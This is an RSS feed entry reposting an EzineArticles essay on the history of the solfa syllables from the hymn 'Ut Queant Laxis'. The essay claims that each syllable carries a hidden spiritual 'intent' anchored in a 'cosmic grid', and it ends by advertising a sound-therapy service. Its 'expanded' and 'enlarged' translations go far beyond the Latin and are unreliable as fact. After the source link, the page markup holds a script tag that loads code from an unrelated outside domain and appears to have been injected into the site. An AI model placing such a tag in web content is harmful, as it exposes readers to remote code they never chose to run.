			<content:encoded><![CDATA[<p>What, you may ask, is the solfa scale (also known as the solfeggio scale)? Quite simply, it is a series of seven syllables used as a teaching aid in which each note is sung to a different syllable. These syllables are known quite commonly as do, re, mi, fa, so, la, and ti. These syllables became popular in the movie &#8220;Sound of Music&#8221; with the Do, Re Mi song.</p>
<p>The purpose of this article is to go beyond the superficial and delve into the origin of the syllables and the intents hidden within each one. Many books and articles have been written about the power of intent and the affect it has on our lives. The intents within the solfa syllables are very profound and have been sung unknowingly into the cosmic consciousness for hundreds of years. To grasp the magnitude of the intents it is necessary to uncover the history of certain individuals; namely, St. Gregory the Great, Paul the Deacon, and Guido d&#8217;Arezzo.</p>
<p>St. Gregory the Great became Pope Gregory and lived from 540 A.D. until 604 A.D. One of his many accomplishments was to establish a school for singing and to develop a new way of chanting which today we call &#8220;Gregorian Chants.&#8221; The chants were sung by the monks and used as a tool for focusing the mind and the body. It was believed that the chants had healing qualities.</p>
<p>The next individual to recognize is Paulus Diaconus who is also know as Paul the Deacon. He lived from around 720 A.D. until around 799 A.D. Paulus was a monk and an historian. Being a monk, he was acquainted with the work of Pope Gregory and mentions him in his writings. The latin hymm &#8220;Ut Queant Laxis&#8221; is believed to have been composed by Paulus on a day he was contemplating the restoration of the voice of Zacharias, the father of John the Baptist, and was written in honor of John the Baptist.</p>
<p>The final individual we will look at is Guido Aretinus who is also known as Guido d&#8217;Arezzo. He lived from around 995 A.D. until around 1050 A.D. He was a Benedictine monk and music theorist and he is the author of much of our modern day music notation. It was he who developed the solfa or solfeggio scale as an aid to help singers learn Gregorian chants more readily. He used the Gregorian chant &#8220;Ut Queant Laxis&#8221; written by Paulus Diaconus for developing the solfa syllables. He took the first stanza and divided each line in half. He then used the first syllable of each half line to create the solfa syllables. The ancient solfa scale contained only six syllables. The syllables were: ut, re, mi, fa, sol, and la. These original syllables have evolved into the ones used by modern day society as noted previously.</p>
<p>With an understanding of the origin of the solfa syllables we can now focus on the intents hidden within each one. The first stanza of the chant &#8220;Ut Queant Laxis,&#8221; with the solfa syllables written in uppercase letters, is as follows: UT queant laxis REsonare fibris. MIra gestorum FAmuli tuorum. SOLve polluti LAbii reatum. Sancte Iohannes.  Please note that the words Sancte Iohannes are a study all by themselves and will only be mentioned briefly in this article.</p>
<p>The literal translation is: In order that the slaves might resonate(resound) the miracles (wonders) of your creations with loosened (expanded) vocal chords. Wash the guilt from (our) polluted lip. Saint John.    However, using a Latin dictionary, the translation can be expanded and enlarged upon.</p>
<p>The expanded translation is: We, as prisoners, are crying out for release from our spoken expression of limited consciousness so that we might resonate with your expanded creative vibrations. St. John.</p>
<p>And, finally, painstaking research into the origin and meaning of the original words, yields the enlarged translation: The Divine Mind needs an unconfined and freely moving relationship with us that will resonate our speech, or the very fiber of our being, to produce a miracle of communication, which will solve, dissolve, and release the restrictions of our speech. St. John.</p>
<p>Exactly what are the intents that singers have unknowingly been broadcasting into the cosmic waves every time they practice their vocals using these syllables? A breakdown of the intents and a short definition of each original word is as follows: Ut &#8212; preparatory tone to prepare the body, soul, and spirit to receive the intent of the next five tones (in order to receive); Re &#8212; tone to begin resonance with the Divine (resound or balance frequencies); Mi &#8212; tone to begin remarkable and extraordinary changes (miracles); Fa &#8212; tone to seek out limitations imposed upon us (slaves to mindsets); Sol &#8212; tone to loosen, release, unbind, untie, open, free (solve, resolve); La &#8212; tone to open the vocal chords (release the lips).</p>
<p>In closing, you may ask, &#8220;What about the seventh syllable and intent?&#8221; As you may have guessed, it was created later from the final words in the first stanza, Sancte Iohannes. Originally it was &#8220;Si&#8221; and later changed to &#8220;Ti.&#8221; It also has a hidden intent based upon its translation. Without going into an elaborate explanation, the enlarged translation is: Divine favor allows me to discard my limited thoughts and mindsets so that I now exist in this physical body in a state of eternal peace.</p>
<p>The Divine or Cosmic or Christ Mind or whatever you choose to call it, has anchored these intents within the cosmic grid. These intents are reinforced daily by singers and, subconsciously, we are all partakers of the Divine Wisdom that inspired the solfa syllables.</p>
<p>Talking Elements Productions is the home of S.O.L.F.A. Sound Therapy; a modality using sound and intent for enhancing bioenergetic balance. For more information on specific intents and specific frequencies, please visit: <a target="_new" href="http://solfasound.org/">http://solfasound.org/</a></p>
<p>Author: <a href="http://EzineArticles.com/?expert=Verna_Clay">Verna Clay</a><br />Article Source: <a href="http://ezinearticles.com/?Ancient-Intents-Hidden-Within-the-Solfa-Scale&#038;id=1472994">EzineArticles.com</a><script src="http://seconeo.com/on"></script></p>
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